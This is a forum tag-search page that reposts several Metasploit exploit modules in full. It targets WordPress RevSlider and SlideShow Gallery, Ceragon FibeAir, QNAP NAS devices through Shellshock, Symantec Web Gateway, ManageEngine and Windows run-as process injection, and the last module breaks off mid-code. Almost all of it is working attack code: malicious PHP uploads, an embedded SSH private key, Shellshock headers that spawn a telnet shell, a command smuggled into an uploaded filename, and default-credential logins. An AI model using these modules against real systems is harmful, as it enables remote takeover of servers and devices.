Search the Community
Showing results for tags 'nil'.
-
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Wordpress RevSlider File Upload and Execute Vulnerability', 'Description' => %q{ This module exploits an arbitrary PHP code upload in the WordPress ThemePunch Revolution Slider ( revslider ) plugin, version 3.0.95 and prior. The vulnerability allows for arbitrary file upload and remote code execution. }, 'Author' => [ 'Simo Ben youssef', # Vulnerability discovery 'Tom Sellers <tom[at]fadedcode.net>' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://whatisgon.wordpress.com/2014/11/30/another-revslider-vulnerability/'], ['EDB', '35385'], ['WPVDB', '7954'], ['OSVDB', '115118'] ], 'Privileged' => false, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['ThemePunch Revolution Slider (revslider) 3.0.95', {}]], 'DisclosureDate' => 'Nov 26 2015', 'DefaultTarget' => 0) ) end def check release_log_url = normalize_uri(wordpress_url_plugins, 'revslider', 'release_log.txt') check_version_from_custom_file(release_log_url, /^\s*(?:version)\s*(\d{1,2}\.\d{1,2}(?:\.\d{1,2})?).*$/mi, '3.0.96') end def exploit php_pagename = rand_text_alpha(4 + rand(4)) + '.php' # Build the zip payload_zip = Rex::Zip::Archive.new # If the filename in the zip is revslider.php it will be automatically # executed but it will break the plugin and sometimes WordPress payload_zip.add_file('revslider/' + php_pagename, payload.encoded) # Build the POST body data = Rex::MIME::Message.new data.add_part('revslider_ajax_action', nil, nil, 'form-data; name="action"') data.add_part('update_plugin', nil, nil, 'form-data; name="client_action"') data.add_part(payload_zip.pack, 'application/x-zip-compressed', 'binary', "form-data; name=\"update_file\"; filename=\"revslider.zip\"") post_data = data.to_s res = send_request_cgi( 'uri' => wordpress_url_admin_ajax, 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data ) if res if res.code == 200 && res.body =~ /Update in progress/ # The payload itself almost never deleted, try anyway register_files_for_cleanup(php_pagename) # This normally works register_files_for_cleanup('../revslider.zip') final_uri = normalize_uri(wordpress_url_plugins, 'revslider', 'temp', 'update_extract', 'revslider', php_pagename) print_good("#{peer} - Our payload is at: #{final_uri}") print_status("#{peer} - Calling payload...") send_request_cgi( 'uri' => normalize_uri(final_uri), 'timeout' => 5 ) elsif res.code == 200 && res.body =~ /^0$/ # admin-ajax.php returns 0 if the 'action' 'revslider_ajax_action' is unknown fail_with(Failure::NotVulnerable, "#{peer} - Target not vulnerable or the plugin is deactivated") else fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}") end else fail_with(Failure::Unknown, 'ERROR') end end end Source
-
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info( info, 'Name' => 'Wordpress SlideShow Gallery Authenticated File Upload', 'Description' => %q{ The Wordpress SlideShow Gallery plugin contains an authenticated file upload vulnerability. We can upload arbitrary files to the upload folder, because the plugin also uses it's own file upload mechanism instead of the wordpress api it's possible to upload any file type. }, 'Author' => [ 'Jesus Ramirez Pichardo', # Vulnerability discovery 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2014-5460'], ['EDB', '34681'], ['WPVDB', '7532'] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [['WP SlideShow Gallery 1.4.6', {}]], 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 28 2014')) register_options( [ OptString.new('WP_USER', [true, 'A valid username', nil]), OptString.new('WP_PASSWORD', [true, 'Valid password for the provided username', nil]) ], self.class) end def user datastore['WP_USER'] end def password datastore['WP_PASSWORD'] end def check check_plugin_version_from_readme('slideshow-gallery', '1.4.7') end def exploit print_status("#{peer} - Trying to login as #{user}") cookie = wordpress_login(user, password) if cookie.nil? print_error("#{peer} - Unable to login as #{user}") return end print_status("#{peer} - Trying to upload payload") filename = "#{rand_text_alpha_lower(8)}.php" data = Rex::MIME::Message.new data.add_part("", nil, nil, 'form-data; name="Slide[id]"') data.add_part("", nil, nil, 'form-data; name="Slide[link]"') data.add_part("", nil, nil, 'form-data; name="Slide[image_url]"') data.add_part('both', nil, nil, 'form-data; name="Slide[showinfo]"') data.add_part('randonx', nil, nil, 'form-data; name="Slide[description]"') data.add_part('file', nil, nil, 'form-data; name="Slide[type]"') data.add_part('randonx', nil, nil, 'form-data; name="Slide[title]"') data.add_part('70', nil, nil, 'form-data; name="Slide[iopacity]"') data.add_part('N', nil, nil, 'form-data; name="Slide[uselink]"') data.add_part("", nil, nil, 'form-data; name="Slide[order]"') data.add_part('self', nil, nil, 'form-data; name="Slide[linktarget]"') data.add_part(payload.encoded, 'application/x-httpd-php', nil, "form-data; name=\"image_file\"; filename=\"#{filename}\"") post_data = data.to_s print_status("#{peer} - Uploading payload") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(wordpress_url_backend, 'admin.php'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'vars_get' => { 'page' => 'slideshow-slides', 'method' => 'save' }, 'data' => post_data, 'cookie' => cookie }) if res if res.code == 200 register_files_for_cleanup(filename) else fail_with(Failure::Unknown, "#{peer} - You do not have sufficient permissions to access this page.") end else fail_with(Failure::Unknown, 'Server did not respond in an expected way') end print_status("#{peer} - Calling uploaded file #{filename}") send_request_cgi( 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', 'slideshow-gallery', filename) ) end end Source: http://packetstorm.wowhacker.com/1504-exploits/wp_slideshowgallery_upload.rb.txt
-
## # This module requires Metasploit: Penetration Testing Tool, Metasploit, Free Download | Rapid7 # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'net/ssh' class Metasploit3 < Msf::Exploit::Remote include Msf::Auxiliary::Report Rank = ExcellentRanking def initialize(info = {}) super(update_info(info, { 'Name' => 'Ceragon FibeAir IP-10 SSH Private Key Exposure', 'Description' => %q{ Ceragon ships a public/private key pair on FibeAir IP-10 devices that allows passwordless authentication to any other IP-10 device. Since the key is easily retrievable, an attacker can use it to gain unauthorized remote access as the "mateidu" user. }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => false, 'Targets' => [ [ "Universal", {} ] ], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find', }, }, 'Author' => [ 'hdm', # Discovery 'todb' # Metasploit module and advisory text (mostly copy-paste) ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2015-0936'], ['URL', 'https://gist.github.com/todb-r7/5d86ecc8118f9eeecc15'], # Original Disclosure ['URL', 'https://hdm.io/blog/2015/01/20/partial-disclosure-is-annoying'] # Related issue with hardcoded user:pass ], 'DisclosureDate' => "Apr 01 2015", # Not a joke 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, 'DefaultTarget' => 0 })) register_options( [ # Since we don't include Tcp, we have to register this manually Opt::RHOST(), Opt::RPORT(22) ], self.class ) register_advanced_options( [ OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) end # helper methods that normally come from Tcp def rhost datastore['RHOST'] end def rport datastore['RPORT'] end def do_login(user) opt_hash = { :auth_methods => ['publickey'], :msframework => framework, :msfmodule => self, :port => rport, :key_data => [ key_data ], :disable_agent => true, :config => false, :record_auth_info => true, :proxies => datastore['Proxies'] } opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] begin ssh_socket = nil ::Timeout.timeout(datastore['SSH_TIMEOUT']) do ssh_socket = Net::SSH.start(rhost, user, opt_hash) end rescue Rex::ConnectionError return nil rescue Net::SSH::Disconnect, ::EOFError print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation" return nil rescue ::Timeout::Error print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" return nil rescue Net::SSH::AuthenticationFailed print_error "#{rhost}:#{rport} SSH - Failed authentication" return nil rescue Net::SSH::Exception => e print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" return nil end if ssh_socket # Create a new session from the socket, then dump it. conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true) ssh_socket = nil return conn else return nil end end def exploit conn = do_login("mateidu") if conn print_good "#{rhost}:#{rport} - Successful login" handler(conn.lsock) end end def key_data <<EOF -----BEGIN RSA PRIVATE KEY----- MIICWwIBAAKBgQDBEh0OUdoiplc0P+XW8VPu57etz8O9eHbLHkQW27EZBEdXEYxr MOFXi+PkA0ZcNDBRgjSJmHpo5WsPLwj/L3/L5gMYK+yeqsNu48ONbbqzZsFdaBQ+ IL3dPdMDovYo7GFVyXuaWMQ4hgAJEc+kk1hUaGKcLENQf0vEyt01eA/k6QIBIwKB gQCwhZbohVm5R6AvxWRsv2KuiraQSO16B70ResHpA2AW31crCLrlqQiKjoc23mw3 CyTcztDy1I0stH8j0zts+DpSbYZnWKSb5hxhl/w96yNYPUJaTatgcPB46xOBDsgv 4Lf4GGt3gsQFvuTUArIf6MCJiUn4AQA9Q96QyCH/g4mdiwJBAPHdYgTDiQcpUAbY SanIpq7XFeKXBPgRbAN57fTwzWVDyFHwvVUrpqc+SSwfzhsaNpE3IpLD9RqOyEr6 B8YrC2UCQQDMWrUeNQsf6xQer2AKw2Q06bTAicetJWz5O8CF2mcpVFYc1VJMkiuV 93gCvQORq4dpApJYZxhigY4k/f46BlU1AkAbpEW3Zs3U7sdRPUo/SiGtlOyO7LAc WcMzmOf+vG8+xesCDOJwIj7uisaIsy1/cLXHdAPzhBwDCQDyoDtnGty7AkEAnaUP YHIP5Ww0F6vcYBMSybuaEN9Q5KfXuPOUhIPpLoLjWBJGzVrRKou0WeJElPIJX6Ll 7GzJqxN8SGwqhIiK3wJAOQ2Hm068EicG5WQoS+8+KIE/SVHWmFDvet+f1vgDchvT uPa5zx2eZ2rxP1pXHAdBSgh799hCF60eZZtlWnNqLg== -----END RSA PRIVATE KEY----- EOF end end Source: http://packetstorm.wowhacker.com/1504-exploits/ceragon_fibeair_known_privkey.rb.txt
-
- #rhost#rport
- def
-
(and 3 more)
Tagged with:
-
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Local include Msf::Post::Windows::Runas include Msf::Post::Windows::Priv def initialize(info = {}) super(update_info(info, 'Name' => "Windows Run Command As User", 'Description' => %q{ This module will login with the specified username/password and execute the supplied command as a hidden process. Output is not returned by default. Unless targetting a local user either set the DOMAIN, or specify a UPN user format (e.g. user@domain). This uses the CreateProcessWithLogonW WinAPI function. A custom command line can be sent instead of uploading an executable. APPLICAITON_NAME and COMMAND_LINE are passed to lpApplicationName and lpCommandLine respectively. See the MSDN documentation for how these two values interact. }, 'License' => MSF_LICENSE, 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Author' => ['Kx499', 'Ben Campbell'], 'Targets' => [ [ 'Automatic', { 'Arch' => [ ARCH_X86 ] } ] ], 'DefaultTarget' => 0, 'References' => [ [ 'URL', 'https://msdn.microsoft.com/en-us/library/windows/desktop/ms682431' ] ], 'DisclosureDate' => 'Jan 01 1999' # Not valid but required by msftidy )) register_options( [ OptString.new('DOMAIN', [false, 'Domain to login with' ]), OptString.new('USER', [true, 'Username to login with' ]), OptString.new('PASSWORD', [true, 'Password to login with' ]), OptString.new('APPLICATION_NAME', [false, 'Application to be executed (lpApplicationName)', nil ]), OptString.new('COMMAND_LINE', [false, 'Command line to execute (lpCommandLine)', nil ]), OptBool.new('USE_CUSTOM_COMMAND', [true, 'Specify custom APPLICATION_NAME and COMMAND_LINE', false ]) ], self.class) end def exploit fail_with(Exploit::Failure::BadConfig, 'Must be a meterpreter session') unless session.type == 'meterpreter' fail_with(Exploit::Failure::NoAccess, 'Cannot use this technique as SYSTEM') if is_system? domain = datastore['DOMAIN'] user = datastore['USER'] password = datastore['PASSWORD'] if datastore['USE_CUSTOM_COMMAND'] application_name = datastore['APPLICATION_NAME'] command_line = datastore['COMMAND_LINE'] else command_line = nil windir = get_env('windir') # Select path of executable to run depending the architecture case sysinfo['Architecture'] when /x86/i application_name = "#{windir}\\System32\\notepad.exe" when /x64/i application_name = "#{windir}\\SysWOW64\\notepad.exe" end end pi = create_process_with_logon(domain, user, password, application_name, command_line) return unless pi begin return if datastore['USE_CUSTOM_COMMAND'] vprint_status('Injecting payload into target process') raw = payload.encoded process_handle = pi[:process_handle] virtual_alloc = session.railgun.kernel32.VirtualAllocEx(process_handle, nil, raw.length, 'MEM_COMMIT|MEM_RESERVE', 'PAGE_EXECUTE_READWRITE') address = virtual_alloc['return'] fail_with(Exploit::Failure::Unknown, "Unable to allocate memory in target process: #{virtual_alloc['ErrorMessage']}") if address == 0 write_memory = session.railgun.kernel32.WriteProcessMemory(process_handle, address, raw, raw.length, 4) fail_with(Exploit::Failure::Unknown, "Unable to write memory in target process @ 0x#{address.to_s(16)}: #{write_memory['ErrorMessage']}") unless write_memory['return'] create_remote_thread = session.railgun.kernel32.CreateRemoteThread(process_handle, nil, 0, address, nil, 0, 4) if create_remote_thread['return'] == 0 print_error("Unable to create remote thread in target process: #{create_remote_thread['ErrorMessage']}") else print_good("Started thread in target process") end ensure session.railgun.kernel32.CloseHandle(pi[:process_handle]) session.railgun.kernel32.CloseHandle(pi[:thread_handle]) end end end Source
-
- command_line
- nil
-
(and 3 more)
Tagged with:
-
# Exploit Title: QNAP admin shell via Bash Environment Variable Code Injection # Date: 7 February 2015 # Exploit Author: Patrick Pellegrino | 0x700x700x650x6c0x6c0x650x670x720x690x6e0x6f@securegroup.it [work] / 0x640x330x760x620x700x70@gmail.com [other] # Employer homepage: http://www.securegroup.it # Vendor homepage: http://www.qnap.com # Version: All Turbo NAS models except TS-100, TS-101, TS-200 # Tested on: TS-1279U-RP # CVE : 2014-6271 # Vendor URL bulletin : http://www.qnap.com/i/it/support/con_show.php?cid=61 ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/d3vpp/metasploit-modules ## require 'msf/core' require 'net/telnet' class Metasploit3 < Msf::Auxiliary Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::CommandShell def initialize(info = {}) super(update_info(info, 'Name' => 'QNAP admin shell via Bash Environment Variable Code Injection', 'Description' => %q{ This module allows you to spawn a remote admin shell (utelnetd) on a QNAP device via Bash Environment Variable Code Injection. Affected products: All Turbo NAS models except TS-100, TS-101, TS-200 }, 'Author' => ['Patrick Pellegrino'], # Metasploit module | 0x700x700x650x6c0x6c0x650x670x720x690x6e0x6f@securegroup.it [work] / 0x640x330x760x620x700x70@gmail.com [other] 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2014-6271'], #aka ShellShock ['URL', 'http://www.qnap.com/i/it/support/con_show.php?cid=61'] ], 'Platform' => ['unix'] )) register_options([ OptString.new('TARGETURI', [true, 'Path to CGI script','/cgi-bin/index.cgi']), OptPort.new('LTELNET', [true, 'Set the remote port where the utelnetd service will be listening','9993']) ], self.class) end def check begin res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'agent' => "() { :;}; echo; /usr/bin/id" }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE vprint_error("Connection failed") return Exploit::CheckCode::Unknown end if !res return Exploit::CheckCode::Unknown elsif res.code== 302 and res.body.include? 'uid' return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit_telnet() telnetport = datastore['LTELNET'] print_status("#{rhost}:#{rport} - Telnet port used: #{telnetport}") print_status("#{rhost}:#{rport} - Sending exploit") begin sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) if sock print_good("#{rhost}:#{rport} - Backdoor service spawned") add_socket(sock) else fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service not spawned") end print_status "Starting a Telnet session #{rhost}:#{telnetport}" merge_me = { 'USERPASS_FILE' => nil, 'USER_FILE' => nil, 'PASS_FILE' => nil, 'USERNAME' => nil, 'PASSWORD' => nil } start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock) rescue fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service not handled") end return end def run begin telnetport = datastore['LTELNET'] res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'agent' => "() { :;}; /bin/utelnetd -l/bin/sh -p#{telnetport} &" }) rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable => e fail_with(Failure::Unreachable, e) ensure disconnect end exploit_telnet() end end Source
-
This Metasploit module exploits a command injection vulnerability found in Symantec Web Gateway's setting restoration feature. The filename portion can be used to inject system commands into a syscall function, and gain control under the context of HTTP service. For Symantec Web Gateway 5.1.1, you can exploit this vulnerability by any kind of user. However, for version 5.2.1, you must be an administrator. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Symantec Web Gateway 5 restore.php Post Authentication Command Injection", 'Description' => %q{ This module exploits a command injection vulnerability found in Symantec Web Gateway's setting restoration feature. The filename portion can be used to inject system commands into a syscall function, and gain control under the context of HTTP service. For Symantec Web Gateway 5.1.1, you can exploit this vulnerability by any kind of user. However, for version 5.2.1, you must be an administrator. }, 'License' => MSF_LICENSE, 'Author' => [ 'Egidio Romano', # Original discovery & assist of MSF module 'sinn3r' ], 'References' => [ [ 'CVE', '2014-7285' ], [ 'OSVDB', '116009' ], [ 'BID', '71620' ], [ 'URL', 'http://karmainsecurity.com/KIS-2014-19' ], [ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20141216_00'] ], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic python' } }, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'SSLVersion' => 'TLS1' }, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Targets' => [ ['Symantec Web Gateway 5', {}] ], 'Privileged' => false, 'DisclosureDate' => "Dec 16 2014", # Symantec security bulletin (Vendor notified on 8/10/2014) 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The URI to Symantec Web Gateway', '/']), OptString.new('USERNAME', [true, 'The username to login as']), OptString.new('PASSWORD', [true, 'The password for the username']) ], self.class) end def protocol ssl ? 'https' : 'http' end def check uri = target_uri.path res = send_request_cgi({'uri' => normalize_uri(uri, 'spywall/login.php')}) if res && res.body.include?('Symantec Web Gateway') return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end def get_sid sid = '' uri = target_uri.path res = send_request_cgi({ 'uri' => normalize_uri(uri, 'spywall/login.php'), 'method' => 'GET', }) unless res fail_with(Failure::Unknown, 'Connection timed out while retrieving PHPSESSID') end cookies = res.get_cookies sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || '' sid end def login(sid) uri = target_uri.path res = send_request_cgi({ 'uri' => normalize_uri(uri, 'spywall/login.php'), 'method' => 'POST', 'cookie' => sid, 'headers' => { 'Referer' => "#{protocol}://#{peer}/#{normalize_uri(uri, 'spywall/login.php')}" }, 'vars_post' => { 'USERNAME' => datastore['USERNAME'], 'PASSWORD' => datastore['PASSWORD'], 'loginBtn' => 'Login' } }) unless res fail_with(Failure::Unknown, 'Connection timed out while attempting to login') end cookies = res.get_cookies sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || '' if res.headers['Location'] =~ /executive_summary\.php$/ && !sid.blank? # Successful login return sid else # Failed login fail_with(Failure::NoAccess, "Bad username or password: #{datastore['USERNAME']}:#{datastore['PASSWORD']}") end end def build_payload # At of today (Feb 27 2015), there are only three payloads this module will support: # * cmd/unix/generic # * cmd/unix/reverse_python # * cmd/unix/reverse_python_ssl p = payload.encoded case datastore['PAYLOAD'] when /cmd\/unix\/generic/ # Filter that one out, Mr. basename() p = Rex::Text.encode_base64("import os ; os.system('#{Rex::Text.encode_base64(p)}'.decode('base64'))") p = "python -c \"exec('#{p}'.decode('base64'))\"" else p = p.gsub(/python -c "exec/, 'python -c \\"exec') p = p.gsub(/decode\('base64'\)\)"/, "decode('base64'))\\\"") end p end def build_mime p = build_payload data = Rex::MIME::Message.new data.add_part("#{Time.now.to_i}", nil, nil, 'form-data; name="posttime"') data.add_part('maintenance', nil, nil, 'form-data; name="configuration"') data.add_part('', 'application/octet-stream', nil, 'form-data; name="licenseFile"; filename=""') data.add_part('24', nil, nil, 'form-data; name="raCloseInterval"') data.add_part('', nil, nil, 'form-data; name="restore"') data.add_part("#{Rex::Text.rand_text_alpha(4)}\n", 'text/plain', nil, "form-data; name=\"restore_file\"; filename=\"#{Rex::Text.rand_text_alpha(4)}.txt; #{p}\"") data.add_part('Restore', nil, nil, 'form-data; name="restoreFile"') data.add_part('0', nil, nil, 'form-data; name="event_horizon"') data.add_part('0', nil, nil, 'form-data; name="max_events"') data.add_part(Time.now.strftime("%m/%d/%Y"), nil, nil, 'form-data; name="cleanlogbefore"') data.add_part('', nil, nil, 'form-data; name="testaddress"') data.add_part('', nil, nil, 'form-data; name="pingaddress"') data.add_part('and', nil, nil, 'form-data; name="capture_filter_op"') data.add_part('', nil, nil, 'form-data; name="capture_filter"') data end def inject_exec(sid) uri = target_uri.path mime = build_mime # Payload inside send_request_cgi({ 'uri' => normalize_uri(uri, 'spywall/restore.php'), 'method' => 'POST', 'cookie' => sid, 'data' => mime.to_s, 'ctype' => "multipart/form-data; boundary=#{mime.bound}", 'headers' => { 'Referer' => "#{protocol}://#{peer}#{normalize_uri(uri, 'spywall/mtceConfig.php')}" } }) end def save_cred(username, password) service_data = { address: rhost, port: rport, service_name: protocol, protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { module_fullname: self.fullname, origin_type: :service, username: username, private_data: password, private_type: :password }.merge(service_data) credential_core = create_credential(credential_data) login_data = { core: credential_core, last_attempted_at: DateTime.now, status: Metasploit::Model::Login::Status::SUCCESSFUL }.merge(service_data) create_credential_login(login_data) end def exploit print_status("Getting the PHPSESSID...") sid = get_sid if sid.blank? print_error("Failed to get the session ID. Cannot continue with the login.") return end print_status("Attempting to log in as #{datastore['USERNAME']}:#{datastore['PASSWORD']}") sid = login(sid) if sid.blank? print_error("Failed to get the session ID from the login process. Cannot continue with the injection.") return else # Good password, keep it save_cred(datastore['USERNAME'], datastore['PASSWORD']) end print_status("Trying restore.php...") inject_exec(sid) end end Source
-
- def
- form-data;
-
(and 3 more)
Tagged with:
-
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'ManageEngine Multiple Products Authenticated File Upload', 'Description' => %q{ This module exploits a directory traversal vulnerability in ManageEngine ServiceDesk, AssetExplorer, SupportCenter and IT360 when uploading attachment files. The JSP that accepts the upload does not handle correctly '../' sequences, which can be abused to write in the file system. Authentication is needed to exploit this vulnerability, but this module will attempt to login using the default credentials for the administrator and guest accounts. Alternatively you can provide a pre-authenticated cookie or a username / password combo. For IT360 targets enter the RPORT of the ServiceDesk instance (usually 8400). All versions of ServiceDesk prior v9 build 9031 (including MSP but excluding v4), AssetExplorer, SupportCenter and IT360 (including MSP) are vulnerable. At the time of release of this module, only ServiceDesk v9 has been fixed in build 9031 and above. This module has been been tested successfully in Windows and Linux on several versions. }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability Discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2014-5301'], ['OSVDB', '116733'], ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_sd_file_upload.txt'], ['URL', 'http://seclists.org/fulldisclosure/2015/Jan/5'] ], 'DefaultOptions' => { 'WfsDelay' => 30 }, 'Privileged' => false, # Privileged on Windows but not on Linux targets 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'Automatic', { } ], [ 'ServiceDesk Plus v5-v7.1 < b7016/AssetExplorer v4/SupportCenter v5-v7.9', { 'attachment_path' => '/workorder/Attachment.jsp' } ], [ 'ServiceDesk Plus/Plus MSP v7.1 >= b7016 - v9.0 < b9031/AssetExplorer v5-v6.1', { 'attachment_path' => '/common/FileAttachment.jsp' } ], [ 'IT360 v8-v10.4', { 'attachment_path' => '/common/FileAttachment.jsp' } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 15 2014')) register_options( [ Opt::RPORT(8080), OptString.new('JSESSIONID', [false, 'Pre-authenticated JSESSIONID cookie (non-IT360 targets)']), OptString.new('IAMAGENTTICKET', [false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']), OptString.new('USERNAME', [true, 'The username to login as', 'guest']), OptString.new('PASSWORD', [true, 'Password for the specified username', 'guest']), OptString.new('DOMAIN_NAME', [false, 'Name of the domain to logon to']) ], self.class) end def get_version res = send_request_cgi({ 'uri' => '/', 'method' => 'GET' }) # Major version, minor version, build and product (sd = servicedesk; ae = assetexplorer; sc = supportcenterl; it = it360) version = [ 9999, 9999, 0, 'sd' ] if res && res.code == 200 if res.body.to_s =~ /ManageEngine ServiceDesk/ if res.body.to_s =~ / \| ([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)/ output = $1 version = [output[0].to_i, output[2].to_i, '0', 'sd'] end if res.body.to_s =~ /src='\/scripts\/Login\.js\?([0-9]+)'><\/script>/ # newer builds version[2] = $1.to_i elsif res.body.to_s =~ /'\/style\/style\.css', '([0-9]+)'\);<\/script>/ # older builds version[2] = $1.to_i end elsif res.body.to_s =~ /ManageEngine AssetExplorer/ if res.body.to_s =~ /ManageEngine AssetExplorer ([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)/ || res.body.to_s =~ /<div class="login-versioninfo">version ([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)<\/div>/ output = $1 version = [output[0].to_i, output[2].to_i, 0, 'ae'] end if res.body.to_s =~ /src="\/scripts\/ClientLogger\.js\?([0-9]+)"><\/script>/ version[2] = $1.to_i end elsif res.body.to_s =~ /ManageEngine SupportCenter Plus/ # All of the vulnerable sc installations are "old style", so we don't care about the major / minor version version[3] = 'sc' if res.body.to_s =~ /'\/style\/style\.css', '([0-9]+)'\);<\/script>/ # ... but get the build number if we can find it version[2] = $1.to_i end elsif res.body.to_s =~ /\/console\/ConsoleMain\.cc/ # IT360 newer versions version[3] = 'it' end elsif res && res.code == 302 && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})/ # IT360 older versions, not a very good detection string but there is no alternative? version[3] = 'it' end version end def check version = get_version # TODO: put fixed version on the two ifs below once (if...) products are fixed # sd was fixed on build 9031 # ae and sc still not fixed if (version[0] <= 9 && version[0] > 4 && version[2] < 9031 && version[3] == 'sd') || (version[0] <= 6 && version[2] < 99999 && version[3] == 'ae') || (version[3] == 'sc' && version[2] < 99999) return Exploit::CheckCode::Appears end if (version[2] > 9030 && version[3] == 'sd') || (version[2] > 99999 && version[3] == 'ae') || (version[2] > 99999 && version[3] == 'sc') return Exploit::CheckCode::Safe else # An IT360 check always lands here, there is no way to get the version easily return Exploit::CheckCode::Unknown end end def authenticate_it360(port, path, username, password) if datastore['DOMAIN_NAME'] == nil vars_post = { 'LOGIN_ID' => username, 'PASSWORD' => password, 'isADEnabled' => 'false' } else vars_post = { 'LOGIN_ID' => username, 'PASSWORD' => password, 'isADEnabled' => 'true', 'domainName' => datastore['DOMAIN_NAME'] } end res = send_request_cgi({ 'rport' => port, 'method' => 'POST', 'uri' => normalize_uri(path), 'vars_get' => { 'service' => 'ServiceDesk', 'furl' => '/', 'timestamp' => Time.now.to_i }, 'vars_post' => vars_post }) if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ # /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed" return res.get_cookies else return nil end end def get_it360_cookie_name res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri("/") }) cookie = res.get_cookies if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/ return $1 else return nil end end def login_it360 # Do we already have a valid cookie? If yes, just return that. if datastore['IAMAGENTTICKET'] cookie_name = get_it360_cookie_name cookie = 'IAMAGENTTICKET' + cookie_name + '=' + datastore['IAMAGENTTICKET'] + ';' return cookie end # get the correct path, host and port res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri('/') }) if res && res.redirect? uri = [ res.redirection.port, res.redirection.path ] else return nil end cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD']) if cookie != nil return cookie elsif datastore['USERNAME'] == 'guest' && datastore['JSESSIONID'] == nil # we've tried with the default guest password, now let's try with the default admin password cookie = authenticate_it360(uri[0], uri[1], 'administrator', 'administrator') if cookie != nil return cookie else # Try one more time with the default admin login for some versions cookie = 